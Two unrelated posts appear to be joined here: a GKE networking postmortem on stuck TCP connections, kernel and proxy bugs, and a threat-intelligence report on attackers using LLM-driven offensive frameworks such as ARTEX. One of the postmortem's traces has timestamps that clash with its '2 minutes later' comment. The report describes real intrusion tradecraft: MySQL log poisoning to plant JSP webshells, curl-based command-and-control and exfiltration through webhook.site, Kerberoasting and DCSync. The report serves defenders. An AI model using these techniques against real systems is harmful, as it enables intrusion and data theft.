Day 22: Packet captures collected (Captures taken simultaneously at the control-plane node NIC and from inside the kube-api container. The investigation enters its most critical phase.)

With the obvious suspects cleared, and the scope undeniably wide, we did what you do when the application layer has nothing left to say: We went to the packets.

Part two: Tracing the ghost in the wire

To understand what the packet captures revealed, you first need to understand the architecture that a GKE pod traverses when it makes an API call. In a Private Service Connect-based GKE cluster, the path is deceptively long for something that looks like a local connection.

The key component here is Private Service Connect. When a pod dials 1.2.3.4:443, it is not actually going directly to the control plane; that IP is a virtual endpoint. The connection is intercepted by Google's networking fabric, NAT'd through a Private Service Connect endpoint, passed through an internal passthrough Network Load Balancer, and ultimately delivered to the KCP VM, where Envoy acts as a local proxy in front of the actual kube-apiserver process.

Private Service Connect adds a proxy protocol header to each new connection, so the kube-apiserver can see the real client IP. This will turn out to be important later.

What the packets revealed

When we captured simultaneously at the KCP VM's NIC (the PIGv interface, Google's programmable virtual NIC) and from inside the kube-apiserver container, we saw something striking.

SYN packets from the pods were arriving at the KCP VM's NIC. They were getting that far. But instead of receiving a SYN-ACK in response — the expected second step of a TCP handshake — the client was getting back an out-of-place ACK. Not an RST. Not silence. An ACK that logically belonged to a different, earlier connection.

Wireshark, the network protocol analyzer, was flagging these streams with a label that initially seemed innocuous: "TCP Port numbers reused."

Wireshark — packet stream showing the failed handshake

code_block: <ListValue: [StructValue([('code', 'Time Source Port → Destination Port Info\r\n09:13:41 10.0.13.77 53426 → 10.117.0.2 443 [SYN] Seq=0 Win=42600\r\n09:13:41 10.117.0.2 443 → 10.0.13.77 53426 [SYN, ACK] Seq=0 Ack=1 Win=64768\r\n ... (data exchange, connection completes)\r\n09:13:42 10.117.0.2 443 → 10.0.13.77 53426 [TCP Retransmission]\r\n09:13:42 10.117.0.2 443 → 10.0.13.77 53426 [TCP Retransmission]\r\n ... (many retransmissions of the same ACK)\r\n\r\n# 2 minutes later, same port 53426 is reused for a new connection\r\n09:13:44 10.0.13.77 53426 → 10.117.0.2 443 [SYN] Seq=1498 ← NEW connection\r\n (expected: SYN-ACK)\r\n (received: ACK Seq=1498 Ack=1025 — belongs to PREVIOUS stream)\r\n09:13:44 10.0.13.77 53426 → 10.117.0.2 443 [SYN] Retransmit...\r\n09:13:44 10.0.13.77 53426 → 10.117.0.2 443 [SYN] Retransmit...\r\n → eventually: i/o timeout'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d258f10>)])]>

The pattern was clear. Something was causing the KCP VM to respond to a fresh SYN with an ACK that belonged to a different connection that had ended minutes ago. The old connection had used the same source port (53426 in the example above), and the KCP VM had never fully let go of it.

"The KCP server sends FIN,ACK; client responds with FIN,ACK and then ACK. But KCP receives ACK before FIN,ACK. KCP server never ACKs the FIN,ACK — continuous retransmission of ACK. RST does not clear state."

The "Invalid ACK" spike

While one thread of the investigation was analyzing packet captures, a.k.a., pcaps, another team was digging into internal metrics for the Private Service Connect infrastructure — specifically the user space packet switch (USPS), Google's software switching layer that handles NAT and proxy protocol header injection for Private Service Connect connections.

They found something alarming in the metrics for Andromeda, Google's networking fabric. A counter called "Proxy protocol drop: invalid ACK packet" had been flat for months — and then, in February 2026, it spiked sharply upward to several drops per second across the affected europe-west regions.

That date matched a USPS version rollout. This version included a change which was a fix for a different bug but something about it had changed the behavior of how Private Service Connect handled a specific class of packet.

Challenge ACKs: The RFC 5961 mechanism

To understand the next piece of the puzzle, we need to talk about a TCP security mechanism called the challenge ACK, defined in RFC 5961.

Imagine a TCP connection has closed — gone through the FIN/ACK dance and terminated. The server-side (here, the KCP VM) may still briefly remember the connection's sequence numbers in its TCP state machine. Now imagine that shortly afterward, a new client connection arrives on the same source port and destination port (the same 5-tuple). From the kernel's perspective, this could be a stale packet from the old connection, or it could be an attacker trying to inject data into what the kernel thinks is still an open session.

RFC 5961 says: when you receive a SYN that matches an existing or recently-closed connection's remembered state, don't accept it blindly. Send a challenge ACK — an acknowledgment that carries the last known sequence number of the old connection. If the new client is legitimate, it will see this unexpected ACK, recognize the connection is stale, and send a RST to clear the state. The server then accepts the next SYN normally.

The challenge ACK flow — how it's supposed to work

code_block: <ListValue: [StructValue([('code', '# Step 1: New client sends SYN on a reused port\r\nClient → Server: SYN (seq=X, same 5-tuple as an old connection)\r\n\r\n# Step 2: Server is in FIN_WAIT_2, sends challenge ACK\r\nServer → Client: ACK (ack=old_seq — "is this really you?")\r\n\r\n# Step 3: Client recognizes the stale state, resets it\r\nClient → Server: RST\r\n\r\n# Step 4: State is cleared. Server accepts the next SYN normally.\r\nClient → Server: SYN (new connection)\r\nServer → Client: SYN-ACK ← handshake succeeds'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d259e90>)])]>

This mechanism works perfectly — when the challenge ACK is allowed through. But that was exactly what the new USPS change was blocking.

The culprit: A well-intentioned fix

The change in USPS had been designed to fix a legitimate security issue in Private Service Connect's proxy protocol handling. Part of its effect was to drop packets it classified as "invalid ACKs" during the connection handshake phase — specifically, ACKs that arrived before the initial SYN-ACK had been sent, which in normal circumstances would be anomalous.

Unfortunately, challenge ACKs look exactly like this: They arrive from the server before the new handshake has completed, in response to a SYN. From the USPS's new perspective, they looked like invalid packets. They were dropped silently.

Why this broke GKE specifically: Private Service Connect uses NAT to share a single public endpoint across many client pods. This means many different pods — running on different nodes, from different namespaces — can all end up using the same source port after NAT, creating a high rate of 5-tuple collisions. The challenge ACK mechanism was being triggered far more often than it would be in a normal direct-connection scenario. The USPS fix hadn't introduced challenge ACKs — they had always been there. It had introduced the dropping of them, which broke a flow that GKE's TCP stack had silently depended on to clear stale state.

Mitigation: Rolling back the change

In February, we rolled back the USPS change, restoring the old behavior where challenge ACKs were passed through instead of dropped. The rate of "Proxy protocol drop: invalid ACK packet" dropped back toward baseline almost immediately.

By early March , 2026, the customer confirmed that all affected clusters had recovered. No more timeout errors.

But the rollback wasn't a fix. It was a band-aid. It restored the behavior the system had accidentally depended on. The deeper question — why was the KCP VM in FIN_WAIT_2 for over two minutes in the first place? — was still completely unanswered.

That question led to Part 3. And it's where things got genuinely strange.

Part three: Three bugs, one crime scene

The mitigation bought us time, but it left a question hanging in the air: Why did the KCP VM keep connections in FIN_WAIT_2 for so long? A well-behaved TCP stack processes a FIN, acknowledges it, and closes the connection. The KCP VM was failing to do this, leaving half-open connections that persisted for more than two minutes — long enough for the port to be reused by Private Service Connect's NAT layer, long enough to cause the challenge ACK scenario we'd uncovered.

To answer this, we needed to understand not just one bug, but three distinct failure modes that had intersected at the worst possible moment.

Bug #1: Packet reordering at the PIGv

The first piece was discovered through careful analysis of simultaneous captures at two points: the KCP VM's host NIC (inside the physical host running the VM) versus the PIGv — the virtual NIC as seen by the VM.

At the host NIC level, packets arrived in perfect order. But by the time they crossed through USPS and appeared at the PIGv, they had been subtly reordered.

This happens because of how Private Service Connect's miss-thread processing works. When Private Service Connect intercepts a new flow it hasn't seen before (a "miss"), it processes that packet through a slower path that adds the proxy protocol header and sets up NAT state. Subsequent packets in the same flow take a fast path. The consequence: a FIN or RST packet belonging to a flow in mid-close might arrive slightly out of order relative to the ACKs that followed it.

What the KCP VM actually received (reordered sequence)

code_block: <ListValue: [StructValue([('code', "# What should have happened:\r\nClient → Server: FIN, ACK (client initiates close)\r\nServer → Client: ACK (server acknowledges client FIN)\r\nServer → Client: FIN, ACK (server initiates its own close)\r\nClient → Server: ACK (client acknowledges server FIN)\r\n → Connection fully closed. Both sides free.\r\n\r\n# What the KCP VM actually received (reordered by PIGv/USPS):\r\nClient → Server: ACK (arrives first — out of order)\r\nClient → Server: FIN, ACK (arrives second, but kernel sees ACK first)\r\nServer → Client: FIN, ACK (server sends close, enters FIN_WAIT_1)\r\nClient → Server: FIN, ACK (old, now-reordered FIN from client)\r\n → Server should ACK this. But it doesn't..."), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d259690>)])]>

The reordering put the client's FIN after the server had already sent its own FIN. The server entered FIN_WAIT_1, then FIN_WAIT_2 after seeing the client's ACK of the server's FIN. But then the client's own FIN arrived — and the server's kernel ignored it.

Bug #2: Envoy's half-close and the frozen timer

Why couldn't the operating system clean up on its own? There is a Linux kernel parameter called tcp_fin_timeout that governs exactly this: how long a socket in FIN_WAIT_2 waits before being forcibly closed. On the KCP VM, this was set to 60 seconds.

But tcp_fin_timeout only applies to orphaned sockets — sockets that no process is currently holding open. Envoy, the proxy that sits in front of kube-apiserver on the KCP VM, was performing a half-close: it called shutdown(SHUT_WR), which closes the write side of the connection but keeps the socket open so it can still receive data. This is perfectly valid TCP behavior and is how graceful half-duplex termination is supposed to work.

The side effect: As long as Envoy held the socket with SHUT_WR, the kernel did not consider it orphaned. tcp_fin_timeout never started. The socket sat in FIN_WAIT_2 indefinitely, waiting for a client FIN it would never be able to process correctly.

Kernel socket state — captured via netstat just before a new connection

code_block: <ListValue: [StructValue([('code', 'Proto Local Address Foreign Address State\r\ntcp 10.128.0.5:443 10.0.13.77:53426 FIN_WAIT_2\r\n# This socket has been in FIN_WAIT_2 for > 120 seconds.\r\n# tcp_fin_timeout=60 has not fired because the socket is not orphaned.\r\n# Envoy holds it open with SHUT_WR.\r\n\r\n# 2 minutes later, Private Service Connect NAT reuses port 53426 for a new pod connection.\r\n# The kernel sees the new SYN on this 5-tuple and sends a challenge ACK.\r\n# USPS drops the challenge ACK. → i/o timeout.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d259bd0>)])]>

Bug #3: The Linux kernel's silent failure

But there was still a missing piece. Even with the reordered FIN, a healthy kernel should still process a received FIN in FIN_WAIT_2 and move to TIME_WAIT. The socket should eventually close. Why wasn't it?

This led us deep into the Linux TCP state-machine implementation. When the reordered client FIN arrived at the KCP VM, the kernel's tcp_ack() function was called to process it. And here, in kernel version 6.1 (which underpinned the Container-Optimized OS (COS) running on the KCP VMs), there was a bug.

RFC 5961 added stricter validation for acceptable ACK numbers — specifically, an ACK could be considered valid even if it was slightly "old" (within a sequence number window), to handle network reordering. But in kernel 6.1, there was a code path where tcp_ack() returned zero — indicating "this packet was not fully processed" — when it encountered an ACK that was old but within the RFC 5961 acceptable window. The caller of tcp_ack() in the FIN processing path checked this return value, saw zero, and did… nothing. The FIN was received and silently discarded.

The Linux kernel commit that fixed it (upstream)

code_block: <ListValue: [StructValue([('code', 'commit 795a7dfbc3d9\r\nAuthor: Eric Dumazet <edumazet@google.com>\r\nnet: tcp: accept old ack during closing\r\n\r\ntcp_ack() returns 0 when ack is old but acceptable wrt rfc5961.\r\nIn FIN_WAIT_2, this caused tcp_fin() to never be called for a\r\nvalid received FIN, leaving the connection stuck indefinitely.\r\n\r\nFixed: properly handle old-but-acceptable ACKs during connection close.\r\nIntroduced in 6.1, fixed in 6.9.7. LTS backports: 6.6.y and 6.1.y.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d25aed0>)])]>

The bug had existed since kernel 6.1 and was already fixed in kernel 6.9.7 — but GKE's KCP VMs were running COS builds based on 6.1 and 6.6. The fix needed to be backported and shipped as a COS image update.

How the three bugs combined

Individually, none of these three issues would have caused an outage of this magnitude. It took all three acting together to create the failure:

Bug #1 alone: Packet reordering is mildly disruptive, but the kernel would normally still eventually process the FIN and clean up, just slower than ideal.
Bug #2 alone: Envoy's half-close is perfectly correct behavior. It only becomes a problem if the FIN is never properly processed.
Bug #3 alone: The kernel's failure to process old-but-acceptable ACKs would cause some connections to linger, but the impact would be limited without the port-reuse pressure from Private Service Connect NAT.
All three together: Reordering causes the FIN to arrive out of sequence; the kernel bug prevents it from being processed; Envoy's SHUT_WR prevents the timeout from firing; the socket stays in FIN_WAIT_2 indefinitely. Private Service Connect NAT reuses the port. challenge ACK is sent. The USPS fix drops it. Connection fails.

The resolution: A three-pronged fix

Resolving this required action at three different levels, coordinated across multiple teams over several weeks:

Immediate mitigation (Feb, 2026): Rollback of change in USPS. Restored the previous behavior where challenge ACKs were forwarded rather than dropped. Customer clusters recovered by early March.
Correctness fix: A replacement change to handle the challenge ACK scenario properly in the Private Service Connect proxy protocol layer, rather than simply restoring the old drop behavior. A PacketDrill test was added to the test suite to prevent regression.
Root cause fix — Linux kernel patch: Upstream patch ("net: tcp: accept old ack during closing"), authored by Eric Dumazet. Merged into Linux 6.9.7. Backported to 6.6.y and 6.1.y LTS branches. — shipping in GKE 1.33.5 and later. The bug is fully resolved at the OS level for all GKE versions running these COS images.

What made this case different

Most networking cases resolve at one layer. You find the misconfigured firewall rule, the exhausted connection pool, the miscalculated MTU. You fix it and move on. This one was different because the symptom — i/o timeout on a connection that never completed — was the same whether you were looking at the Private Service Connect layer, the kernel's TCP state machine, or Envoy's connection management. Every layer had a plausible explanation, and every explanation was incomplete.

What finally cracked it was the discipline of simultaneous packet capture at multiple points in the path. Without captures at the host NIC, the PIGv, and inside the container at the same time, we would never have seen the reordering. Without correlating those pcaps to the USPS metric spike on February 18, we would never have found the dropped challenge ACKs. And without reproducing the issue in a lab environment, we would never have found the kernel bug that made the FIN_WAIT_2 state permanent.

The other thing that made this work was the team. Over the course of two weeks, engineers from seven or eight different specialties contributed: GKE networking, Private Service Connect infrastructure, Hostnet, Andromeda, KCP, and ultimately the kernel community. No single person could have held all of this in their head. The case notes, the shared bug tracker, the meticulously collected pcaps — they were the connective tissue that let a distributed team work as one.

In the end, the customer got back to production. The kernel got a better bug fix. And the rest of us got a very good story about why packet reordering, half-closed sockets, and a well-intentioned security patch should never be allowed in the same room at the same time.

_{This blog is based on real case data from an anonymized customer support engagement and internal bugs. The Linux kernel fix referenced is commit 795a7dfbc3d9, authored by Eric Dumazet. Special thanks to the engineers across GKE, Private Service Connect, Hostnet, Andromeda, COS, and the Linux networking community whose work made this resolution possible.}

ARTEX and Friends: Enter Agentic Offensive Frameworks

Fri, 30 Oct 2026 14:00:00 +0000

Written by: Aurora Blum, David Mainor, Rohit Nambiar, Omar ElAhdan, Matthew McWhirt, Will Silverstone, Bhavesh Dhake, Chris Busse

Introduction

Recent intrusions in which threat actors have been observed weaponizing agentic frameworks to execute highly-automated intrusions has put a spotlight on evolving adversarial use of LLMs. In our September 2026 report, Google Threat Intelligence Group (GTIG) noted that forward leaning adversaries were beginning to transition from basic prompting to agentic workflows and LLM-enabled automation.

Since this publication, GTIG and Mandiant have observed multiple threat actors abusing the open-source, agentic pentesting frameworks ARTEX, Hexstrike and CAIRN in incident response engagements to conduct a broad range of actions across multiple phases of the attack life cycle. This activity has been seen across the threat landscape, as noted in a recent Wiz report. The emergence of Artex and similar agentic offensive intrusion frameworks underscores a broader shift toward threat actor adoption of open source multi-agent offensive frameworks, as well as potentially custom agentic harnesses.

This represents a paradigm shift towards intrusions occurring at machine speed, with the automated chaining of complex attack paths scaling intrusions exponentially. While the mechanics of the intrusions remain the same, such as using compromised credentials and targeting unpatched systems, the speed and scale at which frameworks can exploit these known weaknesses introduces a new defensive challenge. Security teams, developers, and system administrators will need to fundamentally rethink defense strategies to counter scalable, autonomous software. We also provide defensive strategies from Mandiant Consulting. The defensive strategies suggested—control-plane isolation, short-lived credentials, least privilege, segmentation, and behavioral detection—are long-standing security best practices.

Observations in the Wild

We are seeing tools used by adversaries evolving towards autonomous agentic attacks. One way this is occurring is through suites of tools or frameworks designed for penetration testing (“pentesting”). These tools and frameworks orchestrate various agents using open source and frontier LLMs to automate various stages of intrusions. Historically, cyber espionage and financially motivated threat actors have taken advantage of pentesting or red-teaming platforms built for security professionals to exploit systems, such as Cobalt Strike or Metasploit. Today, adversaries are pivoting toward offensive frameworks powered by LLMs. While these frameworks have existed in the wild, they are now yielding success in intrusions in the wild, representing a critical evolution that increases both the speed and scale of intrusion activity.

Since late August 2026, we have observed threat actors actively operating popular open-source multi-agent pentesting platforms like ARTEX, PentAGI, CAIRN and other potentially custom harnesses within Mandiant incident response engagements; use of these platforms has been further corroborated by our research telemetry. In these incidents, we have observed agentic activity conducting significant parts of the attack lifecycle (e.g., lateral movement, database exploitation, exfiltration preparation). Evidence of in the wild usage of these frameworks marks a critical inflection point for defenders, as agents now autonomously explore multiple attack paths, troubleshoot errors, and achieve objectives in seconds and minutes. Coupled with continual advancements in underlying LLM capabilities, the acceleration in attack velocity and scale signals a notable shift in the threat landscape that fundamentally alters traditional intrusion dynamics.

ARTEX Framework

ARTEX is an autonomous, multi-agent LLM-driven pentesting and offensive command-and-control (C2) platform written in Go with an embedded Next.js web console. The framework was originally developed by the user Autumn-27 and released on GitHub. Although the original repository was taken down by its creator in October 2026 due to widespread threat actor abuse, the framework continues to proliferate globally via community forks, including localized variations such as ScopeWeaver and a commercial version dubbed ARTEX PRO. ARTEX abstracts the attack lifecycle across six specialized sub-agents. By leveraging APIs from frontier and open source models, the framework translates high-level tactical goals into actionable machine commands. GTIG has observed capabilities including automated Active Directory reconnaissance, privilege escalation, target cloud-infrastructure profiling (such as harvesting Azure storage keys), to the synthesis and deployment of custom webshells.

Since late August 2026, ARTEX has been adopted by a diverse range of threat actors across the motivational spectrum, including both financially motivated extortion groups and suspected cyber espionage operators. For example, the Wiz Research team has been tracking a campaign associated with ARTEX, which GTIG tracks as UNC7228, that overlaps with activity tracked by Microsoft as the PRC-nexus actor STORM-0940. The research has expanded Wiz’s understanding of this campaign beyond the October IT focused activity with activity now dating back to at least August 2026. Wiz identified the targeting, compromise, and data theft affecting multiple entities in the US and Europe across the enterprise software, industrial automation, semiconductor manufacturing and design, and telecommunications industry verticals. This actor has moved extremely quickly, typically moving from their first compromised account to deep system access in around four hours and in one case as rapidly as 15 minutes. They have also customized their tooling to take advantage of victim-specific setups and fallen back to open proxies if their initial infrastructure was blocked.

Demonstrating broader adoption of ARTEX, GTIG and Mandiant observed multiple other threat actors using ARTEX for post-compromise reconnaissance, lateral movement, and privilege escalation in incident response investigations. This includes financially motivated threat actors who used the framework to facilitate data theft extortion, and additional suspected PRC-nexus clusters. Their operations collectively impacted organizations across government, technology, chemicals and materials, and manufacturing sectors in the US, alongside public reporting of ARTEX targeting the financial sector in Asia.

In several cases, adversaries provided ARTEX with compromised credentials for the targeted organization, and instructed the framework to execute subsequent stages of the attack lifecycle. Analysis of these intrusions reveals key differences between activity conducted by the ARTEX framework and that of a human operator:

Based on log files and timestamps, we identified bursts of activity that would be highly irregular for a human operator. While each of the intrusions exhibited extended pauses during operational phases, individual ARTEX execution sequences ran in compressed bursts of roughly 2 to 25 seconds. In at least one operation, we observed 27 events in 23 seconds of active burst time, performing rapid probing of AWS permissions across different security groups. While preparing potential exfiltration scripts, ARTEX was capable of successfully adapting to errors quoting “script too large” by trimming the script and relaunching it to successfully deploy a 17-snapshot instance in approximately 10 seconds.
Compared to a competent human operator, ARTEX achieved code execution in a far more forensically noisy manner, relying on rapid, iterative trial-and-error. In one instance, supplied with valid credentials, ARTEX accessed an external-facing Linux Weaver OA web server to execute SQL commands via exposed API calls. Using legitimately-exposed application-specific API calls, ARTEX was able to achieve partial command-execution to conduct further reconnaissance despite hitting technical complexities. However, this process generated 240 log events and exhibited errors potentially caused by multiple sub-agents overwriting one another while pursuing the same objective.

In an attempt to pivot from a database-execution context to a system-execution context, ARTEX used an application-specific SQL API, accessible to the supplied-user credential, to modify the MySQL instance to write log files with a .jsp extension to publicly accessible locations. The SQL-commands executed were likely intended to poison MySQL logs into writing web-accessible JSP webshells.
Using the API, ARTEX ran SET GLOBAL general_log_file = '<path to webshell>’ followed by SET GLOBAL general_log = 1; subsequent SQL commands were written to the filepath defined in general_log_file. ARTEX then ran SQL SELECT statements in the form `SELECT '<% [webshell content] %>'`. Due to how the underlying Java web servlet handles JSP files, the Java code in the '<% %>' gets parsed and compiled into the process memory space, providing means of execution.
Log activity shows multiple iterations of the above sequence, with ephemeral, somewhat-incremental file names (cl1217.jsp, f1219a.jsp, z1219.jsp) for each webshell candidate, each one executing a different command. Errors when trying to run the webshell (e.g. variable ‘t is already defined’) caused the webshell to fail and likely had ARTEX refactor its approach, writing several unique webshells, each with a different goal, some correcting previous errors until the .jsp webshells executed cleanly and returned valid command output to ARTEX.

In another case, during access-probing efforts, ARTEX generated files of various extension types with the filename artex-probe-*, where * carried five digit somewhat-incremental numbers. Based on our visibility, it’s difficult to comment on the exact significance of these numbers or how they increment. However, ARTEX was seen using similar incremental numeric markers within dropped file names, created account names, their passwords and within email subjects.

Observed ARTEX Activity Mapped along the phases of a targeted attack lifecycle

Phase of the attack lifecycle	Observed ARTEX Capabilities & Tradecraft
Initial Recon	Automatically mapped the effective permissions of obtained Azure credentials (SAS tokens, Service Principals, Kudu credentials, and Storage Account keys) using sub-second capability checks, test blob writes/deletes, and ARM deployment validation dry-run sweeps. This activity included bursts of rapid activity, with ARTEX writing and immediately deleting a tiny test blob in ~330–400 ms and running an 8-second ARM `deployments/validate` dry-run sweep across 11 Azure resource types. Tested compromised IAM user permissions using `DryRun` flags and placeholder IDs to evaluate EC2 compute, EBS volume, and snapshot capabilities. Over a span of over 500 web requests, ARTEX probes various file names and extensions across various web directories, in a potential attempt to fuzz which URL endpoints the web-server would allow it to access based on HTTP response code (`200` or `403`).
Establish Foothold	Abused Kudu administrative APIs to execute arbitrary commands and stage custom Python, C#, and malicious PowerShell scripts. Established command and control (C2) and execution on the victim's internal Windows database server by using native curl to pull down dynamically generated PowerShell and batch scripts and post back command results across 491 rotating `webhook.site` URLs.
Escalate Privileges	Attempted to escalate privileges by launching cloud compute instances with potentially high-value IAM roles with the intention of fetching the role’s temporary credentials and thereby escalating privileges in doing so. These attempts however seemed to have failed due to invalid instance profile ARNs. Escalated privileges by running Kerberoasting scripts to harvest service tickets across compromised domains; using SQL injection to dump database credentials; and, following an offline cracking pause, executing DCSync scripts to steal the domain krbtgt key, cloud AD-sync credentials, and domain Controller machine hashes. Created accounts with `is_admin=true` within minutes, identifying and utilizing a writable admin flag.
Internal Recon	Performed reconnaissance across the internal network by running several iterative generated PowerShell enumeration scripts against a Domain Controller and federation server. The scripts validated domain usernames without pre-authentication, listed Group Managed Service Accounts, audited Active Directory Certificate Services templates (SmartcardUser, ClientAuth), mapped thousands of cross-forest security principals, and swept internal Exchange, PasswordState credential vault, and SSRF/SCM targets.
Move Laterally	Attempted Lateral Movement onto domain controllers using Pass-the-Ticket, WinRM, Kerberos relay, and Pass-the-Hash scripts, hitting local Windows service token privilege restrictions right before endpoint protection blocked execution and defenders severed access to the server.
Maintain Presence	Generated a new SSH key pair, allocated a dedicated public Elastic IP, attempted to create a custom security group but failed due to permission issues, and launched persistent `t3.micro` instances bound to existing security groups to establish an externally addressable jump host and internal foothold. Gained persistence through account takeover (e.g., resetting passwords for identified users), creating multiple accounts with plaintext passwords (which included `ArtexProbe` in the naming convention), and creating administrator accounts.
Complete Mission	Interrogating backend SQL databases (extracting ~400 KB of query results across ~20 queries) and performing mass blob reads. Deployed custom boot scripts via ephemeral, keyless EC2 instances to potentially harvest data from multiple mounted EBS snapshots and volumes. Enumerated over 110,000 Active Directory objects from a domain controller and retrieved the Domain Admins group. It then sent command output to rotating webhook.site endpoints via curl. Ran queries to decrypt stored notes and attempted to read other users' note attachments. Created a new 100GB volume and expanded the root disk of launched instances to 60GB, performing preparatory steps likely intended for exfiltration via their automated collection scripts. Edited an employee's record in a legacy database, created and deleted notes and status rows, pointed checklist responses at its own probe file. In this case we observed an interesting abuse of legitimate features. Rather than executing complex malware, ARTEX weaponized built-in application features. It forced an application's notification system to broadcast test emails to over 1,300 internal users, turning a trusted notification channel into a mass-internal messaging tool. It then dropped to single-recipient test emails rather than the mass emailing.

PentAGI Offensive Framework

GTIG also observed in the wild abuse of PentAGI (Penetration Testing Artificial General Intelligence), an autonomous offensive framework designed to automate the pentesting process within an isolated environment. Developed by VXControl, the framework is offered in an open source and commercial edition. It is designed so that the user only needs to describe a target and a goal, which enables entry-level users to run complex cyber security campaigns. Once the target and the goal have been selected, the framework uses a team of specialized agents, each with their own functionalities to break tasks (called “Flows”) into various sub-tasks, execute each step, and report on it. The tools and commands are all run in isolated sandboxes running Kali Linux instead of in the host environment. All the tools used by PentAGI are open-source pentesting tools available by default in Kali Linux (e.g., metasploit, nmap, SQLmap). The framework supports over a dozen cloud and local LLM backends, including frontier and open weight models.

The majority of observed PentAGI activity remained at the stage of WHOIS asset mapping or active vulnerability scanning. However, analysis of operational artifacts indicates that some operations progressed to active intrusions and persistence across multiple organizations. Operators are also adapting and integrating the framework in different ways. In one case, we identified a customized attack orchestration platform built on the open-source version of PentAGI likely used between at least late August and early October 2026 to conduct systematic reconnaissance and vulnerability scanning against a wide range of organizations in Asia, including system integrators and major telecommunications firms. In another instance, we observed PentAGI chained with proxy services to target the Aerospace sector.

Evolution of Autonomous Offensive Frameworks

We are seeing a significant maturation in the application of LLM capabilities across the threat landscape in a short period of time; this includes the incorporation of LLM-written malicious code, development of dynamic LLM-enabled malware, poisoning of agent-harness files, and the building of multi-agent offensive frameworks. Notably, between late 2025 and October 2026, autonomous and semi-autonomous offensive frameworks crossed a decisive operational threshold to multi-agent frameworks actively weaponized by threat actors to perform in the wild intrusions.

GTIG has been tracking the evolution of this experimentation over time, from simple prompting of LLMs to help with coding, through the use of frameworks in the wild towards a potential future with fully autonomous frameworks running intrusions. In a fully autonomous attack, a human’s role would consist of telling the agent what to target, and then simply benefiting from the operational objective.

At the time of reporting, we assess that the current adversary use of autonomous offensive frameworks is still in early stages characterized by open source tools currently being used in low-sophisticated ways, resulting in broad and noisy, but still successful campaigns. As the sophistication of these frameworks, the underlying LLMs and the orchestrating human-operator increase, we expect to see not only less human interaction, but also increased stealth and sophistication.

The following stages represent our observations of how LLM-augmentation in cyber operations have evolved over the last year and how we expect this development to continue:

Stage 1: Prompt-based use of LLMs

Activity: Adversaries interact with LLMs in a prompt based chatbot fashion, using LLMs to write and debug code for malware, draft phishing emails, create personas, and conduct light reconnaissance on targets.
Evolution: Adversaries outsource low-failure, easy-to-rectify, tasks to an LLM to increase speed of simple discrete tasks.
Timeframe: End of 2025 to early 2026

Stage 2: Embedding LLM capabilities into malware

Activity: Adversaries trust an LLM to take certain low-failure, easy to execute actions, particularly writing code, such as in malware families like HONESTCUE or PROMPTSPY using LLMs dynamically during execution to, for example, obfuscate payloads in different ways in attempts to evade defenses.
Evolution: Adversaries begin use incorporating LLMs into post-intrusion attack phases.
Timeframe: Early 2026

Stage 3: Incorporating LLM-enabled automation into operations

Activity: As agentic capabilities develop, adversaries begin using them for discrete tasks (e.g., standing up or debugging malware development environments). Agents begin being used alongside human-operators to develop novel exploits and to assist with high-stake vulnerability research. Adversaries begin being more cognizant of OPSEC and visibility into their LLM-usage operations and start using LLM-proxy services to obscure activities.
Evolution: LLMs being used for more high-stake tasks but with human operators in the loop.
Timeframe: Early 2026 - September 2026

Stage 4: Developing and experimenting with autonomous frameworks

Activity: Adversaries begin developing and experimenting with autonomous frameworks. Campaigns begin offloading more stages of the lifecycle to LLM-augmented tooling, and integrating model APIs into their tools and telegram bots to take autonomous action.
Evolution: Experimentation with LLMs running more stages of the attack lifecycle.
Timeframe: Mid 2026 - September 2026

Stage 5: Multiple attack lifecycle stages being conducted by LLM-driven tooling in the wild

Activity: In the wild evidence of multiple attack lifecycle stages being conducted by LLM-driven tooling, with fewer humans in the loop during operations. Observations surrounding mass-exploitation campaigns where a substantial portion of the lifecycle is being carried out by an agent, requiring only minimal human intervention, as well as activity accompanied by malware possessing more autonomous capabilities. Additionally, continued experimentation by threat actors with better obfuscation—including LLM mixers, inference services, local models. Overall TTPs of these attacks remain messy, noisy but yet successful.
Evolution: Adversaries have actively integrated LLMs into their operations to conduct successful intrusions, while simultaneously exploring ways to obscure/reduce reliance on frontier-lab LLMs.
Timeframe: Current stage of development

Stage 6: Multi-agent-driven, unsophisticated attacks with little to no human interaction

Activity: Highly-autonomous, but unsophisticated, forensically noisy operations with human operators no longer in the loop. Adversaries define the target and objective, while multi-agent frameworks execute the entire attack chain and return operational objectives.
Evolution: Adversaries diversifying infrastructure and tooling, further inhibiting defenders’ visibility.
Timeframe: Near-term (1 - 3 months)

Stage 7: Sophisticated, fully autonomous/agentic attacks

Activity: This stage represents peak maturity on the offensive LLMs capability curve, characterized not only by fully autonomous intrusions requiring little to no human interaction, but also by increased stealth and sophistication of the activity, with operators interacting with LLMs through either obscurely designed infrastructure or self-hosted LLMs altogether.
Evolution: This stage would grant autonomous and stealthier operations while limiting defender’s visibility into the activity.
Timeframe: Medium-term (3 - 6 months)

We believe malicious actors will continue to experiment with these offensive agentic frameworks, moving towards future autonomous usage. GTIG has observed evidence of threat-actor experimentation with tools like the ZeroHollow inference service and the fully agentic framework AgentZero.

Outlook

Over the past 12 months, GTIG has observed a decisive evolution in adversarial tradecraft leveraging LLMs, progressing from ad hoc operational productivity support toward the deployment of coordinated, multi-agent, autonomous offensive frameworks. While earlier milestones documented in our quarterly research highlighted early agentic interest, recent observations across frontline incident response engagements and proactive intelligence collection reveals adversary adoption of these frameworks to automate discrete phases and specific operational tasks during intrusions. Threat actors are increasingly leveraging generative models to achieve unprecedented speed and scale, actively developing more complex attack infrastructure powered by agentic AI capabilities and AI-enabled automation.

Frameworks such as ARTEX compress attack timelines to machine speed; however, they currently trade stealth for velocity. Unrestricted autonomous execution generates forensic traffic, relies on recognizable identifiers, and leaves behind distinct code-level traces, increasing the likelihood of detection and mitigation. These tools are therefore best suited to scenarios in which the cost of detection is low. Additionally, detection and disruption/response are two different functions–simply detecting the attack in time does little to hinder objective completion.

